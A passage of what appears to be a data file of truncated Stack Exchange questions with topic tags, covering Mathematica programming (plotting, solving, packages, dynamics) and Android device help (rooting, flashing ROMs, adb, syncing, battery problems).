$A(-1, 5, -2)$, $B(2, 4, -3)$ and $F(4, -8, 6)$, and this is ... ",['mathematica'] "Title: Is Package development (via InitializationCells) compatible with creating new Notations (via MakeExpressions)? Body: Can new (lower-level) notations be readily used within package code? There are a few notational additions that might improve my code base but I'm not sure if these will end up being more trouble than ... ",['mathematica'] "Title: Improve Plot3D resolution near max/mins Body: I have the following function $$V(r) = \sum_{i=1}^N 4 \epsilon_i \left(\frac{\sigma_i^{12}}{\|r-r_{0i}\|^{12}}-\frac{\sigma_i^6}{\|r-r_{0i}\|^6}\right)$$ which -for those interested- corresponds to ... ",['mathematica'] "Title: The following code doesn't seem to work finding Chomatic Number of Undirected Graph in Mathematica(MathKernel) Body: ... ",['mathematica'] "Title: wrong use of _?NumberQ? Body: I am having trouble with a numerical exercise. Here's a simplified version of my problem. I define two functions to find the solution to two constrained maximization problems: ... ",['mathematica'] "Title: How do I find an equilateral triangle whose vertices have integer coordinates? Body: In geospace, how do I find coordinates of the vertices of an equilateral triangle whose vertices have integral coordinates? How do I tell Mathematica to do that? ",['mathematica'] "Title: How to create Locator[] hierarchies? Body: I'd like to 'parent' Locators to one another, ideally organized in any arbitrary tree. The simplest case: If I have two Locators, A and B, then moving A will move both together, but moving B will ... ",['mathematica'] "Title: Derivatives (divergence, gradient, curl) of interpolated 3D data Body: How can I calculate a vector derivative (i.e. divergence, gradient, curl) of interpolated data? For sample data, you can use: ... ",['mathematica'] "Title: Visiting nodes in a tree bottom up Body: I have a problem that can be reduced to this one: Suppose I have an unbalanced (almost random) tree. The leaves of the tree have one property already set, and all vertex (including the leaves) have ... ",['mathematica'] "Title: Dynamic[] and Print[] [duplicate] Body: Possible Duplicates: Intermediate display similar to PrintTemporary Estimating progress on plots How to create a progress bar? How to determine how much of a table is generated? I'm ... ",['mathematica'] "Title: Sum of Squares without multiplication Body: I want to sum the squares for a given number N from 1 without using Multiplication. Is it possible? ",['mathematica'] "Title: How to demodulate an FM signal in continuous-time? Body: I'm not sure if this is a math or Mathematica question, but I'm posting it here because I'm interested in possible Mathematica tools/functions to solve the problem. I'm stuck. I want to simulate ... ",['mathematica'] "Title: Improving the source-code indentation in Wolfram Workbench Body: One thing that I like about the more recent versions of the Mathematica front-end is that I think it does a good job indenting code. The language's functional nature, in my experience, leads to a lot ... ",['mathematica'] "Title: Pack Solve results into a vector Body: I am currently using a really easy function to get the eigenvectors of a corresponding eigenspace: ... ",['mathematica'] "Title: How to export data from For loop in text file? Body: I'm new in Mathematica and I am trying to write numbers from 1 to 10 in txt file. But ""Null"" is everything that is written in my file. The code is: ... ",['mathematica'] "Title: How do you define an affine transformation that is translated by itself? Body: This one should be simple, but I can't figure it out. I would like to define a transformation (function) such that $r$ maps to $m.r + r$ The help file on AffineTransformation says that ... ",['mathematica'] "Title: How to pick an element of a row corresponding to the minimum in a particular column? Body: How can I find what value in column 1 of my list corresponds to the minimum value in column 2? ",['mathematica'] "Title: How to use FindFit to fit an implicit function? Body: Now I am trying to fit some data with a implicit model function. Firstly, I tried a toy example. Toy example with input and output ... ",['mathematica'] "Title: Correcting a correlation matrix to be positive semidefinite Body: Does Mathematica have a way to ""fix"" a correlation matrix that is not positive semi-definite? I looked through the documentation and search the internet but could not find anything. ",['mathematica'] "Title: Automating FTP upload within Mathematica? Body: I have MMA-generated html and would like to automate uploading to a named directory to a web host via SFTP or HTTP POST, ideally without creating local temp files. The closest question I could find on ... ",['mathematica'] "Title: How to handle NDSolve::ndsz problem (singularity problem) Body: I have 2 second order differential equations (non-linear). The physics behind them is correct. I verified the equations many times. It is a solid pendulum with a mass-spring at the end of it. Now, ... ",['mathematica'] "Title: How to align grid dividers of inner grids in a grid? Body: How to have the vertical dividers of inner grids aligned to each other in the following? ... ",['mathematica'] "Title: Shading regions in ParametricPlot Body: I am using ParametricPlot to get an X vs Y plot. I want to shade the area enclosed by the curve falling in the region where Y<0. For example, how to shade the area enclosed by the Sin curve where ... ",['mathematica'] "Title: Identifying critical points of 2/3D image/cubes Body: Upshot I am interested in identifying critical points of a 3D field/cubes (maxima, minima, tube-like and wall-like saddle points) and 2D field/image (maxima, minima, saddle points). I.e. the ... ",['mathematica'] "Title: Where can I find a list of functions, specifically views, that can be translated to a C standalone executable? Body: I want to create a standalone mathematica executable. I would like to have some view capabilities like CreateDialog or TabView or those kinds of things. I would like my users to have an interface to ... ",['mathematica'] "Title: Density plot on the surface of sphere Body: I would like to make density plots of a list of (size 2 or 3) spherical harmonics on the surface of a sphere. I'd like to plot it so that each element of that list is using a different color (red ... ",['mathematica'] "Title: Standardizing a coset table via matrix manipulation Body: Suppose we have a group $G$ and a subgroup $H$. A coset table encodes the permutation representation of $G$ on the right cosets of $H$. When we want to use these coset tables in calculations, it is ... ",['mathematica'] "Title: Combinatorica: Girth[] and FindCycle[] disagreement Body: Warning: run the following code in a fresh Mma session, as some symbols could be shadowed (depending on your Mma version) While trying to answer this question, I fell into the following: ... ",['mathematica'] "Title: Why doesn't Mathematica pack Boolean arrays? Body: I've been wondering about this for a while now, so I'm going to ask. This is a question about the design of Mathematica, which perhaps cannot be directly answered by anyone but the designers, however ... ",['mathematica'] "Title: pH calculations, speeding up code involving Solve Body: I'm trying to calculate pH values of solutions containing water and acetic acid. The relevant equations have been defined and I now want to find a solution using Mathematica. For a specific acid ... ",['mathematica'] "Title: Why do syntax errors make a 8.` run through $PreRead in a TagBox? Body: Modified code from the help file on $Pre: ... ",['mathematica'] "Title: How to obtain a fixed number of solutions to $x+y=1$? Body: How to obtain a fixed number of solutions to $x+y=1$? For example, I want 4 solutions: $(1,0),(2,-1),(3,-2),(-2,3)$ I want to do this also on bigger equations such as $x+y+...=1$ and then I want to ... ",['mathematica'] "Title: FindMinimum , FindRoot Not working. What am I doing wrong? Body: I have a matrix that depends on a parameter,call it $\kappa$, and to find the numerical value for $\kappa$ I'm trying to solve det(A($\kappa$) = 0. Of course this is hard to do symbolically, and even ... ",['mathematica'] "Title: Emulating R data frame getters with UpValues Body: What's the best way to emulate R's data frames functionality? This includes the ability to select rows and columns in a 2-dimensional table by the string identifiers positioned typically in the first ... ",['mathematica'] "Title: Filling between boundaries Body: I would like to visualize what it graphically means to integrate between two boundary values. Therefor I'd like to make a Filling between these two values. Is there a way to get this done? ",['mathematica'] "Title: Socket communication and player pro Body: I'd like to create a simple communication channel between MMA and the animation package 'Maya'. This is possible over sockets ( very simple, just sending and receiving strings). I've got this working ... ",['mathematica'] "Title: How to clear variables in a manipulate without enabling dynamic content? Body: I have a series of variables that will plot the number of straight segments along a curve, thanks to the help from here on one of my previous questions. I can create a working Manipulate command from ... ",['mathematica'] "Title: How to group the powers of one variable? Body: Consider the following expression: $\sqrt{a x} \sqrt{b x}$ What do I use to make it simplify to: $\sqrt{ab} x$ I tried actually everything (Simplify, FullSimplify, Collect and so on...) and such ... ",['mathematica'] "Title: Integro-differential equation Body: I have to numerically solve a nonlinear partial integro-differential equation using Mathematica. This is my equation, $$\frac{\partial y(x,t)}{\partial t}=\int_{-\infty}^\infty K_0(|x-u|) ... ",['mathematica'] "Title: Attaching WolframAlpha data Body: I have used WolframAlpha since it was launched (now a pro member) but am new to Mathematica 8. Is there a way to automatically add data from WA to a Mathematica dataset? For example, what if I ... ",['mathematica'] "Title: How can I create a glass distortion effect in an image? Body: I'd like to overlay a glass jar onto an image with realistic light bending. Can anyone think of a way to automate this effect (perhaps this can be done with the raytracing package rayica)? ",['mathematica'] "Title: Some tutorials on formatting notebook for exporting to pdf Body: I love the way that Mathematica handles type inn of formulas. It is really easy to type complicated expressions with shortcuts on keyboard. It would be great if I could use Mathematica completely to ... ",['mathematica'] "Title: How to check if a 2D point is in a polygon? Body: Background: I use code from An Efficient Test For A Point To Be In A Convex Polygon Wolfram Demonstration to check if a point ( mouse pointer ) is in a ( convex ) polygon. Clearly this code fails for ... ",['mathematica'] "Title: Map a 3D plot into plane Body: I have a 3D plot like: ... ",['mathematica'] "Title: Solve system of equations related to perspective projection Body: I'm trying to solve system of equations. I have 4 points before perspective projection and after and I whant to obtain matrix of perspective projection $m_{i,j}$ ($x,y,u,v$ are known , $m_{i,j}$ ... ",['mathematica'] "Title: What is Sub Mathematica? Body: When looking at the locally available licenses, I see four entries: ""Mathematica"", ""MathKernel"", ""Sub Mathematica"" and ""Sub Mathkernel"". Now ""Mathematica"", ""MathKernel"" and ""Sub Mathkernel"" are clear, ... ",['mathematica'] "Title: How can the opacity of a dense data set be automatically chosen? Body: The problem In a dense data set plotted with opaque points, data points can pile on top of each other. This can cause serious problems with the interpretation of the plots. I'll use as an example a ... ",['mathematica'] "Title: Trying to generate a function from InterpolatingFunction with FunctionInterpolation Body: Here is the code (I'm sorry to give you such a complex code sample but I failed to reproduce the error with a simpler InterpolatingFunction): ... ",['mathematica'] "Title: Generating Linear Extensions of a Partial Order Body: Given a set $S$ and a partial order $\prec$ over $S$, I'm looking for a way to ""efficiently"" generate a list of linear extensions of $\prec$. Suppose the partial order is given by a ... ",['mathematica'] "Title: Passing a matrix as a function argument Body: I am trying to do the following: ... ",['mathematica'] "Title: How Can I Use Conditional with Rational Domain Restrictions Body: I am reasking this question in a new thread. My previous post How Can I Use Solve/Reduce Output? seemed to have led to a an interesting dissussion of how to (better) solve the problem that produced ... ",['mathematica'] "Title: How do we turn off automatic smart quotes/special character substitution? Body: In Mathematica 8, whenever I enter ""hello"" into a cell of style ""text"", the quote marks are automatically converted to special characters: ... ",['mathematica'] "Title: Can DSolve solve systems with unspecified function coefficients? Body: I am an economic research student with no previous experience with Mathematica, so please pardon me if my questions sounds really stupid. I am hoping to solve a system of nonlinear ODEs symbolically. ... ",['mathematica'] "Title: Reproducing Image Patterns with Mathematica Body: Surfing on the net I stared at this pattern. It´s a bamboo steam, and it´s awesome. I'm new to Mathematica so I'm a little lost, I'd like to try to reproduce this pattern, of course in a very ... ",['mathematica'] "Title: Mathematica - Dynamic - ListPlot - baseline Body: I am performing baseline fitting to a raw dataset on a two-state equilibrium process. The process involves fitting the sigmoidal curve to an upper and lower linear baseline, and subtracting so that ... ",['mathematica'] "Title: Force VectorPlot3D to show One arrow Body: I am plotting a curl, and I only want VectorPlot3D to show one arrow, I have tried adjusting VectorPoints-> 1, but the plot show's no arrows at all. Is 2 the minimum VectorPoints I can have? If I ... ",['mathematica'] "Title: Automatically return output using decimals instead of fractions Body: I have a mathematica file with an algorithm that feeds another program with data. my problem is that some times (randomly) the output is in fraction instead of decimal. The other program (java) does ... ",['mathematica'] "Title: How do I split up a curve into segments of equal length? Body: I have a curve that is defined as f[x] and what I'm attempting to do is to divide the curve into equal straight lengths for a number of segments of my choosing that I've defined as nSeg. I've created ... ",['mathematica'] "Title: MathGraphicsJPanel no output Body: I am trying to create a Java frontend for Mathematica. Following examples from J/Link guide and looking around the API manual I came up with this code: ... ",['mathematica'] "Title: Incrementing a nested list element Body: I've been wanting to increment a nested list element of which I know the ""coordinates"". I thought of the following procedure, using Apply with Part. ... ",['mathematica'] "Title: Access pairs of vectors, rather than the matrices, in partitioned data structure at a levelspec Body: I have some old code to analyze correlation between 2 time series by looking at windows of different lengths shifting across the time series data. The code: gets 2 sets of time series data (in ... ",['mathematica'] "Title: NExpectation not up to expectations with Boole or Conditioned Body: Context I am interested in computing numerically the number of extrema at a given threshold for random fields. These numbers are expectations of MultinormalDistributions. Problem This integral ... ",['mathematica'] "Title: What does MinimalPolynomial do? Body: suppose $x^5-x-1=0$, $y^7-y-1=0$ and $z=x+y$. I want to find a minimal polynomial expression of $z$, such that $p(z)=0$, and the code can be written like this: ... ",['mathematica'] "Title: How does bandwidth selection work for low-variance dimensions with KernelMixtureDistribution? Body: I am puzzled because this toy example (in Mathematica 8) ... ",['mathematica'] "Title: Celebration: How to golf a marriage with a prefix free code Body: We all know a conspicuous member of our community got hitched recently. As most of us are not in Malta, and weren't able to fly there, I thought of a celebration question. Sort of. The challenge is ... ",['mathematica'] "Title: non-linear trend reduction using thresholds Body: Doing some mappings of the earth magnetic field results in the left-hand figure below (which consists of 181 profiles): To improve this I tried a non-linear trend reduction using, for example, ... ",['mathematica'] "Title: Speed up Mathematica code involving Convolve Body: I'm trying to plot the averaged autocorrelation function of a random wire profile $\xi(x)$ which is build from unitsteps which are each L units long. To calculate the average I'm generating nMax ... ",['mathematica'] "Title: Making mathematical animations with Mathematica Body: I recently stumbled upon the Cycloid and was working on finding its length and such when I found this animation on Wikipedia. Strikingly pretty and small in size too (66KB) So on searching how he ... ",['mathematica'] "Title: Version differences in Parallelize Body: I am having a problem which I guess is due to version difference. I have to generate a list of unitary matrices, which I can do easily. However I came to know about ... ",['mathematica'] "Title: BubbleChart Text Tooltip's Body: Is it possible to display ""name"" in the tooltip? It won't chart the full dataset, so I can't make a custom labeling function that takes it in. ... ",['mathematica'] "Title: Image Processing: Isolating areas of an image with internal irregularity Body: I am trying to isolate each of the blue painted fingernails in the image. However, I am not sure what approach should be considered due to the white design on each nail interrupting the otherwise ... ",['mathematica'] "Title: SetDirectory - predefined directory possible? [duplicate] Body: Possible Duplicate: Relative paths for portable notebooks in Mathematica I have a deep subdirectory structure, and the calculations should always be done in one of the deepest ... ",['mathematica'] "Title: Possible to import Excel formatted text? Body: Is it possible to import Excel text markup such as underlines? For example: Yet ... ",['mathematica'] "Title: Exporting a rasterized Row of Graphics Body: I'm running some code based on @R.M.'s answer to this question to create a couple plots side by side. I want to export the plots rasterized to a png. However, when I ... ",['mathematica'] "Title: How to create hedcut style images? Body: Yesterday the hedcut style was brought up in chat. How can we create a hedcut-like style automatically in Mathematica, using a photograph as a starting point? I am looking to create a similar ... ",['mathematica'] "Title: Build a refined grid based on intersecting line Body: I honestly have no idea where to begin with this problem. In summary, I have a 2D coarse grid with an intersecting line. For an easy example, let's assume it's a 4x4 grid. I wish to pass through ... ",['mathematica'] "Title: Creating diagrams for category theory Body: Lately I've been doing algebra and I have found myself drawing a bunch of diagrams when I attempt to solve a problem. Most of the diagrams are very simple so I thought, I bet I can do this in ... ",['mathematica'] "Title: Mouse motion heat map - live visualization and analysis Body: Mouse motion heat map is an great way to study spatial attention distribution, styles of movement, reaction, etc. I am trying to design a code that visualizes such heat map. The requirements: 1) It ... ",['mathematica'] "Title: How do I display imported images at actual size? Body: I know that this is an extremely basic question, but I am having a lot of trouble finding the answer in the documentation. When I import an image (for example, ... ",['mathematica'] "Title: How safe are ReadProtected and Locked symbols? [duplicate] Body: Possible Duplicate: How to distribute proprietary Mathematica code I suspect that there is a way to expose the down values of such symbols with an attack along these lines: ... ",['mathematica'] "Title: Basic Dynamic Interface Programming that returns variables to nb functions Body: I have a dynamic module that contains some basic PopupMenu's and Buttons but also need to use the variables returned from these buttons and PopupMenu's in my nb functions outside of this ... ",['mathematica'] "Title: Evaluator option for Mathematica Scripts Body: I have mathematica with many additional kernels besides Local ( e.g., core1, core2, core3, core4 ... ) added through Kernel Configuration Options. I have been running multiple copies of a simulation ... ",['mathematica'] "Title: How can I access documentation from the Workbench? Body: In Mathematica there is a hot key for searching words (that your cursor is within or adjacent to) in the documentation center, is there a way to do this from the Workbench instead of having to first ... ",['mathematica'] "Title: Link ITK with Mathematica Body: I would like to know if someone has tried to link Mathematica with ITK code (call ITK code in Mathematica)? ",['mathematica'] "Title: Question about designing a particular data structure Body: Background: I store polygons with a color assigned at the face level. In some occasions I want to use vertex colors but I want to store data efficiently, i.e. don't want to duplicate data to the ... ",['mathematica'] "Title: Comparing the last output of a nested function with all the previous ones Body: my main question is how I can compare the last output of a nested function with all the previous ones and stop iterating when I find a repeating value. (I have 2 other questions but I think they are ... ",['mathematica'] "Title: How to change the variables Qi's to Ri's in one or two steps Body: I was wondering if there is a command in Mathematica to change all the following Qi's to Ri's? For example, change Q1 to R1, Q2 to R2, etc. ... ",['mathematica'] "Title: Mathematica Destructuring Body: Context I'm writing a function that look something like: ... ",['mathematica'] "Title: Drag & drop path info into front end? Body: On OSX at least, it's possible to quickly retrieve a folder/file path by dragging & dropping the folder/file into the terminal, eg: Is it possible to program Mathematica's front end enable ... ",['mathematica'] "Title: Why won't Mathematica Integrate my function? Body: My code: ... ",['mathematica'] "Title: Security of Mathematica Demonstrations Body: Apologies if this is overly paranoid. I recently discovered the Wolfram Demonstrations Project and intend to play with them to understand some of the power of Mathematica. I have one slight concern: ... ",['mathematica'] "Title: Recovering vertex names from Combinatorica Graph Body: According to WRI tech support: Combinatorica functionality is not technically deprecated, though it is our hope that future versions of Mathematica will subsume it entirely by incorporating its ... ",['mathematica'] "Title: Calculating average distance Body: I have a program that gives the average distance as the output. When I tried to repeat finding the average distance 100 times using Table, It failed to generate the output. This is the program. ... ",['mathematica'] "Title: ListPlot Inset coordinates problem Body: Inset seem better suited for ad-hoc labels and legends than for precision, programmatic placement of annotation. Given the following 'bottom-up' graphic expression: ... ",['mathematica'] "Title: Expectation over a list with nested-mapped expressions Body: I need expected values of a list where the random variable to take expectations over should be an input into expressions defined earlier. I suspect Set[] and SetDelayed[] tripped me. (Or Map and ... ",['mathematica'] "Title: Mathematica Plotting of complex and convolution integrals Body: I was trying to plot the following: ... ",['mathematica'] "Title: Automatically detecting code that will not run on earlier versions [duplicate] Body: Possible Duplicate: Automated testing for compatibility with older Mathematica versions On my personal computer, I am running version 8.0.4, but on a compute cluster I would like to work ... ",['mathematica'] "Title: Proper way to Plot a single function in two different styles? Body: I've got this code ... ",['mathematica'] "Title: Reasoning about Degree of Polynomial Body: Apologies if this is outside of the realm of Mathematica -- I'm still trying to figure out the limits of how expressive Mathematica is (and how much of my work can be automated). Suppose I define the ... ",['mathematica'] "Title: How to do System dynamics simulations / diagrams in Mathematica? Body: System dynamics is an approach to understanding the behaviour of complex systems over time. It deals with internal feedback loops and time delays that affect the behaviour of the entire system. What ... ",['mathematica'] "Title: How to apply ANOVA test to K-Means clustering Body: I'm generally looking for how to apply ANOVA test to neural networks.I'm particularly interested in ANOVA tests for clustering function estimation below is the code taken from K-means clustering ... ",['mathematica'] "Title: How can I effectively performance-profile Dynamics? Body: How to optimize performance-wise a complex dynamic expression (like a GUI) with lots of dynamically updated components, which require different update-frequencies? I was hesitant to ask this question ... ",['mathematica'] "Title: How to find the domain and range of a function with Mathematica? Body: I'm studying calculus and in some exercises I am asked to find the domain and range of a function. Does Mathematica have already a built-in function for this? I can imagine some ways of doing so, ... ",['mathematica'] "Title: Creating custom functions with multiple arguments Body: I am hoping that this isn't a stupid question so feel free to vote it for closure. Google failed somehow. I want to define a custom function (more complicated than the usual ... ",['mathematica'] "Title: import complete date string to mathematica Body: Based on an example from here I try to parse dates from a table including the time, but it fails. This is the modified example: ... ",['mathematica'] "Title: Rescale axes (e.g change from Hz to THz) Body: I have multiple plots of permittivity against frequency, but they're hard to read because the frequency labels go from 4x10^14 to 1x10^15 in Hz. I want to label the frequency with THz instead of Hz, ... ",['mathematica'] "Title: How to process .vtk file Body: I want to extract the cluster of points inside 3D box, is there any way one can do this in Mathematica? ",['mathematica'] "Title: i have already root my nexus4,but why it shows “shell@mako:/ $ ”when i enter command“adb shell” Body: Should not shell@mako:/ $ be shell@mako:/ #? Or I haven't root successfully yet? How to check whether my nexus4 have root successfully? Thanks! ",['android'] "Title: Getting the activities of the user Body: Is it possible to get a list of user activities? I want to know when the phone was opened, when it was locked, etc. Just the basic things. ",['android'] "Title: how to install command line programs Body: How to i install binaries on my non-rooted tablet i have the terminal application called Terminal IDE and i followed the instructions, i put my compiled binary in the folder local/bin/. I comiled a C ... ",['android'] "Title: Paranoid Android 3.98 /system cannot be mounted in rw mode Body: I flashed 4.3 quite a while ago starting from 3.93 and this problem has consistently existed. System App Remover nor Titanium Backup Pro seem to be able to access the system folder. So, I downloaded ... ",['android'] "Title: My phone isn't recognizing the SD card Body: I have a Galaxy S3 Mini with an external SD card of 4GB. The problem is that the phone stopped recognizing the SD card. It tried with other SD cards; I tested the SD cards on the pc and everything was ... ",['android'] "Title: Android early boot console over usb Body: I'm trying to port newer kernel versions onto my Nexus S device. Most newer kernels panic very early on in the boot process. I would like to debug this. However, since the phone has been provided to ... ",['android'] "Title: hello, iam realy tired with this doubt.i created a sqlite database and add a “name” in it. and i want to display that name in a textView [on hold] Body: public void insertDetails(String name) { // TODO Auto-generated method stub ContentValues contentValues=new ContentValues(); contentValues.put(""NAME"", name);//how to fetch ... ",['android'] "Title: **FAILED (remote: 12 signature verify fail)** HTC One M7 Body: C:\xxx>fastboot flash recovery c:\recovery.img sending 'recovery' (10336 KB)... OKAY [ 1.988s] writing 'recovery'... (bootloader) signature checking... **FAILED (remote: 12 signature verify ... ",['android'] "Title: App not installed orphaned files Body: When an app attempts an installation, but results in ""app not installed"", do orphaned files still exist, or does android remove all traces of that App. I am running JB 4.3 stock on the Nexus 4 In ... ",['android'] "Title: Using Popen to invoke adb sendevent Body: I am running into a strange issue, running adb shell sendevent x x x commands from commandline works fine, but when I use any of the following: subprocess.Popen(['adb', 'shell', 'sendevent', 'x', ... ",['android'] "Title: How can show android tablet as a external storage to PC? Body: I want to send files to android tablet with a application from PC. - I can send files directly to tablet (2.3 android OS) PC see it as a external usb drive. - But i can't send files to tablet (4.2 ... ",['android'] "Title: Is there a way to start a torrent on my Android stick remotely? Body: I have a Windows home computer with uTorrent installed. With the BitTorrent WebUi addon to Firefox I am able to start downloads from my office computer. I am planning on buying an Android stick, is ... ",['android'] "Title: Blocked but still shows “online” to blocked contact Body: Please can someone help! I blocked a contact on Whatsapp but I can still see his ""last seen"" timestamp (as it changes over time - its changed many times since blocking). He can also see mine. I tried ... ",['android'] "Title: How to use internet from another basic mobile through bluetooth? Body: How to connect an android phone with the basic phone having unlimited data packs . How to use the data on their phone in android using bluetooth? ",['android'] "Title: How to increase the speed in utorrent app in ICS? Body: 3G Internet is almost fast in all android application, However , the speed of downloading in torrent depends upon no.of seeds . Can we increase the speed in torrent using any other way ? ",['android'] "Title: How can I uninstall the local Speech Recognition from Google? Body: My Google Speech Recognition isn't working. When I use it (in Google Now, Evernote, etc.) it crashes the app. I'm guessing this is because I installed the local SR. (I did a Factory Reset on the ... ",['android'] "Title: Phone not appearing in Android Device Manager Body: When I go to Android Device Manager, my tablet is listed, but not my phone. I had signed up just as soon as ADM was available, and at that time both devices were listed. Now, for the last several ... ",['android'] "Title: What is `Snapshot` and `Use host GPU` emulation option(s) for? Body: When creating an emulator device, the option Emulation Options makes me confused. What do Snapshot and Use host GPU mean? ",['android'] "Title: New line for system built-in SMS message in Samsung Galaxy Nexus Body: The built-in SMS application doesn't allow me to enter new line as below snapshot. What's wrong with my keyboard :( ? ",['android'] "Title: Get “Developer Options -> Pointer location” logs in android [on hold] Body: For the research I am doing, I am required to collect data from user interaction with android devices ICS or better for touch inputs. I was thinking the best way to do so would be to use the Pointer ... ",['android'] "Title: Samsung account not showing Body: Could anyone assist me with enabling my Samsung account on my S3. Each time I pressed buy in video hub I got this message on my phone: ""Your Samsung account has been disabled. Enable it by going to ... ",['android'] "Title: Is there any way I can delete individual text messages? Body: I have a Huawei U8850 running Android 2.3.7 and want to manage my text messages more efficiently. At the moment the only delete options I can see are to delete all thread or the current thread. ... ",['android'] "Title: managing multiple contact sources as gmail contacts Body: I'm on a google nexus 4 (up to date, non-rooted) and I'm using gmail and google contacts for my contact/messaging needs. Additionally I'm pulling contacts from facebook, linkedIn, xing (German ... ",['android'] "Title: How much RAM should I allow an app to use, and how much should I always leave free? Body: I have a chess app on my 2012 Nexus 7 (running stock Android 4.3, with a few small background services) that allows me to set the size of an internal hash table used by the chess engine. Larger hash ... ",['android'] "Title: get webpages from command line Body: How can I get the contents of a webpage from the command line? On my mac I use the curl command, but there is no such command for the android command line. what command do I use? ",['android'] "Title: Backup apps on SGS 2 with broken display? Body: the display of my Samsung Galaxy S2 got broken and I need to backup my apps. Is that possible without the phone's screen? There are no backup apps on the phone and it's not rooted. I don't know the ... ",['android'] "Title: Android runs ON Linux? Body: I bought an Android PC from Amazon and found it booted Linux then booted Android. I mean literally booted Linux (penguins splash), then booted Android (Android splash). I contacted the vendor asking ... ",['android'] "Title: Remove built-in search-engines in Firefox Nightly Body: I don't use the default Firefox search-engines, so I like to be able to delete all the Amazon, Twitter, Google nativelly installed on every Firefox version. Using current and beta version of ... ",['android'] "Title: How can I fix Google Now misbehaving: When I speak “google” it freezes or crashes Body: Symptoms If I launch Google Now it seems OK (I can scroll the list of Cards, etc.) but if speak ""google"" it does not start voice recognition and it freezes (can't scroll the 'cards' down, etc.) or ... ",['android'] "Title: Nexus S in reboot loop Body: My Nexus S (completely original) is stuck in a reboot loop. I don't know why. It just reboots, shuts down, and does the same again and again. I tried removing the battery, loading 100%, removing SIM ... ",['android'] "Title: How to upgrade my samsung galaxy ace plus GT -S7500 from Gingerbread to Jellybean [duplicate] Body: I would like to know How to upgrade my samsung galaxy ace plus GT-S7500 from Gingerbread to Jellybean.? Details are as follows Model Number: Samsung GT-S7500 Android version: 2.3.6 Baseband ... ",['android'] "Title: problem with charging symbol, Body: I purchased a unlocked Samsung Galaxy 3 mini from the internet. Worked fine until I went abroad and change the SIM card. Now I am back in the UK, I am having trouble charging the phone. The charging ... ",['android'] "Title: Installing Android in Samsun Omnia M [duplicate] Body: Can I install android on samsung omnia m mobile. Currently it is running on windows 7.5 mango. It has 4gb internal space..but no slot for micro sd card. If yes, then which version of android will be ... ",['android'] "Title: Nexus 4 factory reset [duplicate] Body: My nexus 4 originally came with android 4.2 JB. Since then I have gotten the 4.3 update. If i perform a factory reset sometime in the future will it go back to 4.2 or will the update be still in ... ",['android'] "Title: No pbcopy-pbpaste command Body: I am trying to access the clipboard but there is no pbcopy or pbpaste command. Is there an alternative to this command? how can i access the clipboard from the command line? ",['android'] "Title: Are there any 4G LTE chipsets/phones with FM radio support? [closed] Body: 4G is coming to my town within the next few weeks/months, and I was planning to get a SGN2 on the UK network provider EE. However, I've just realised that the international 4G variants (which I think ... ",['android'] "Title: I am running Paranoid Android 3.97 but Root Checker is showing me that my Nexus 4 is not rooted Body: I am running Paranoid Android and Franco Kernel but I do not have access to data/data folder is empty. Root Checker app is showing me that my phone is not rooted for some reason. It was working fine ... ",['android'] "Title: How can I delete all images in the album on my Sony Xperia S? Body: I synched all my photos with Lightroom, now would like to delete them from my Phone. There is no delete function in the Sony Album (Android Album?) however. How can I get rid of all photos taken? ",['android'] "Title: How t o get Google Now fetch info from Calendar? Body: Google recently announced ""Now, just ask Google for your flights, reservations, package delivery info, and more We can instantly fetch this stuff for you if it’s in your Gmail, Google Calendar, ... ",['android'] "Title: HTC Desire HD Random Restart Body: I have a HTC Desire HD phone, I installed ""Android Revolution HD"" and ""BlackOut Rom"" to it before, I made same overclock stuff... Now my phone restarts randomly, generally while connecting mobile ... ",['android'] "Title: What is a good kernel for my Galaxy Note 2 as compared to Samsung's original kernel? Body: My Galaxy Note 2 is running Cyanogenmod 10.1 and I'm using the stock kernel. I've dug around and found that Samsung has released the source-code for the device's kernel. If I dig deeper into a site ... ",['android'] "Title: Panarama mode is device support or OS support? Body: I have doubt on panoramic mode whether it is device support or OS support. Actually I thought it is OS support because in android 4.0 (and later version) panoramic mode is one of the standard camera ... ",['android'] "Title: Is there an app like Touchwiz Blocking Mode? Body: I have a Galaxy Nexus and I want the features of Touchwiz Blocking Mode. I have done lots of googling but can find only spam call and text blockers. I want this functionality to block all ... ",['android'] "Title: Where can I find the photos autosynced by Google? Body: My Android phone autosyncs all the photos I took to my Google account. Where could I find it? I'm using Google cloud services to sync photos. I tried looking at my Google Drive, but it says that I ... ",['android'] "Title: Cherry Mobile Razor - Changing the screen refresh rate Body: I have a Cherry Mobile Razor which I bought here in the Philippines. Specs are as follows: Mediatek MT6589 Quad-core Cortex A7 Processor PowerVR SGX 544MP 1GB LPDDR2 540x960 qHD IPS LCD Screen 4GB ... ",['android'] "Title: How do I get Google Play back to sys app without being able to access any apps on Google Play? [duplicate] Body: After rooting my Galaxy S, I deleted Google Play. I have downloaded it, but I cannot get it back to sys app. It forcecloses every time I try to open it. I can't download anything from Google Play to ... ",['android'] "Title: Cant flash any new firmware - Lenovo Thinkpad Tablet with CWM Body: I have problem with my Lenovo Thinkpad Tablet. One day it just stopped working and get stuck on Lenovo logo on start. I tried to use recovery mod (pushing VOL UP several times during start), it says ... ",['android'] "Title: Hide application from app grid? Body: I want my app grid to be minimized to the app I want only. Some apps are built-in by my phone provider and cannot be uninstalled from the phone via System - Application menu. I saw the old phone ... ",['android'] "Title: If I factory reset my phone, will the uninstallable apps be deleted? [duplicate] Body: I'm planning to do a factory reset on my phone, but I'm worried that the uninstallable apps like the iReader and Youku will be deleted. :( ",['android'] "Title: Which Android smartphone has the best GPS battery life today? [closed] Body: I can not find any battery life tests aimed at GPS tracking. I am looking for a smartphone with the longest battery life when using GPS tracking, usually in the nature without mobile data enabled. Are ... ",['android'] "Title: How to transfer games from one device to another? Body: I wanted to know the procedure to transfer game from one android phone to another?. Both sender and recipient devices are android version 2.3.6. When I tried sending it, I got only the html link ... ",['android'] "Title: Does Nexus 7 2013 have 3G support? Body: Nexus 7 2013 has 4G support, but I can't find any information on 3G support. If I get a Nexus 7 4G model, can I use 3G? ",['android'] "Title: Battery charging indicator and USB has, sort of, stopped working on my Samsung Google Nexus I9250 Body: I know the battery is still being charged because 1) when I power off the phone while the phone is plugged into a USB connector the screen shows the battery symbol with a lightning bolt and then a ... ",['android'] "Title: Cyanogenmod 10.1 becomes unstable with usage? Body: Does CM 10.1 become more and more unstable with usage? I have a Galaxy Mini S5570 running CM 10.1. After flashing the ROM my phone works fine for one or two weeks. But soon my phone starts crashing ... ",['android'] "Title: How can I disable automatic Facebook photo sync? Body: Device: XPeria P Android: JB 4.1.1 I recently enabled automatic photo sync, but I could not remember how I did it. Now, all of my photos gets synchronized to Facebook, and my 